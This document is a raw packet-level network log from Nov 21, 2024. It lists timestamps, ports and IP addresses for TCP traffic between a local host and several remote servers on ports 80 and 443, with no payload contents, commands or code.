Nov 21, 2024 07:10:36.951165915 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.951175928 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.958596945 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.958786964 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.958807945 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.966042995 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.966105938 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.966118097 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.973536015 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.973685026 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.973691940 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.987454891 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.987550020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.987590075 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.987648964 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.987931967 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.988116026 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.988147020 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.988253117 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.988281965 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.988306999 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.988308907 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.988317966 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.988393068 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:36.988857985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.988917112 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.988961935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.989100933 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.989842892 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.989973068 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.990020037 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.990873098 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.990921021 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.990950108 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.991000891 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.991785049 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.991889954 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.992024899 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.992803097 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.992849112 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.992902994 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.992950916 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.993783951 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.993841887 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.993954897 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.994034052 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.994096041 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:36.994751930 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.994854927 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.994883060 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.994955063 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.995754957 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.995810986 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.995858908 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.995907068 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.997775078 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.997792959 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:36.997829914 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:36.997847080 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.000637054 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.000652075 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.000668049 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.000683069 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.000701904 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.000737906 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.001003981 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.001053095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.001140118 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.001180887 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.001372099 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.001456022 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.001468897 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.002068996 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.002084017 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.002137899 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.002362013 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.002378941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.002424002 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.004242897 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.004261017 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.004286051 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.004307032 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.005232096 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.005359888 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.005409002 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.005647898 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.005995989 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.006048918 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.006170034 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.006222963 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.006932020 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.006989956 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.007119894 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.007162094 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.007572889 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.007596970 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.007673025 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.007684946 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.007783890 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.007885933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.007936954 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.008196115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.008244038 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.008904934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.008953094 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.009054899 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.009145975 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.009870052 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.009928942 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.010056973 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.010112047 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.010901928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.010955095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.011125088 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.011178970 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.012033939 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.012064934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.012089014 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.012123108 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.013494968 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.013528109 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.013551950 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.013576031 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.013617039 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.014044046 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.014075041 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.014107943 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.014123917 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.014898062 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.014961004 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.015077114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.015455961 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.015680075 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.015710115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.015743017 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.015758038 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.016901970 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.016947985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.016968966 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.016990900 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.017755032 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.017810106 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.017911911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.017959118 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.018759012 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.018835068 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.018939972 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.018996000 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.019779921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.019845963 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.019952059 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.020001888 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.020808935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.020867109 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.020945072 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.021018028 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.021760941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.021845102 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.021939993 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.022162914 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.022824049 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.022857904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.022876978 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.022917032 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.023570061 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.023597002 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.023619890 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.023631096 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.023658991 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.023684978 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.023716927 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.023967981 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.024065018 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.024473906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.024506092 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.024533987 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.024542093 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.024554968 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.024576902 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.024605036 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.024637938 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.027370930 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.027386904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.027398109 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.027409077 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.027420044 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.027424097 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.027432919 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.027442932 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.027512074 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.028090000 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.028211117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.028269053 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.028316975 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.028364897 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.029194117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.029259920 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.029300928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.029387951 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.030873060 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.030917883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.031003952 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.031100035 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.031208038 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.031220913 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.031263113 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.031303883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.032167912 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.032233953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.032293081 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.032335997 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.033158064 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.033226967 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.033267021 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.033560991 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.034145117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.034189939 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.034256935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.034307957 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.035111904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.035195112 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.035217047 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.035305977 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.036099911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.036160946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.036217928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.036395073 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.037077904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.037134886 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.037172079 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.037216902 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.038047075 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.038117886 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.038178921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.038254023 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.039021969 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.039079905 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.056615114 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.072937965 CET	49839	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.072961092 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.073442936 CET	49839	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.073448896 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.101739883 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.101763964 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.101835012 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.101855040 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.101985931 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.106523991 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.106638908 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.106775045 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.111736059 CET	49837	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.111747980 CET	443	49837	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.118736982 CET	49845	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.118801117 CET	443	49845	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.118900061 CET	49845	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.120152950 CET	49845	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.120172977 CET	443	49845	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.134191036 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.134273052 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.134285927 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.140315056 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.140373945 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.140398026 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.140405893 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.140451908 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.140724897 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.140768051 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.140830040 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.140846968 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.142261982 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.142273903 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.142333984 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.142621994 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.142752886 CET	443	49836	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.142807007 CET	49836	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.144556046 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.145407915 CET	49846	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.145428896 CET	443	49846	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.145524979 CET	49846	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.145673037 CET	49846	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.145685911 CET	443	49846	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.148770094 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.148879051 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.148900032 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.148907900 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.148955107 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.153050900 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.156733036 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.156812906 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.156821966 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.160777092 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.160831928 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.160840034 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.164638042 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.164731979 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.164737940 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.168543100 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.168915033 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.168921947 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.176299095 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.176408052 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.176414967 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.176444054 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.176549911 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.179421902 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.179521084 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.179630995 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.179683924 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.179966927 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.180020094 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.180053949 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.180124044 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.180218935 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.180876017 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.180943012 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.180964947 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.181153059 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.181895971 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.181957960 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.182010889 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.182082891 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.182889938 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.182964087 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.182998896 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.183173895 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.183840036 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.183911085 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.183949947 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.184012890 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.184019089 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.184037924 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.184086084 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.184092999 CET	443	49829	142.250.184.228	192.168.2.4
Nov 21, 2024 07:10:37.184176922 CET	49829	443	192.168.2.4	142.250.184.228
Nov 21, 2024 07:10:37.184822083 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.184891939 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.184895992 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.184947014 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.185816050 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.185916901 CET	80	49828	185.215.113.16	192.168.2.4
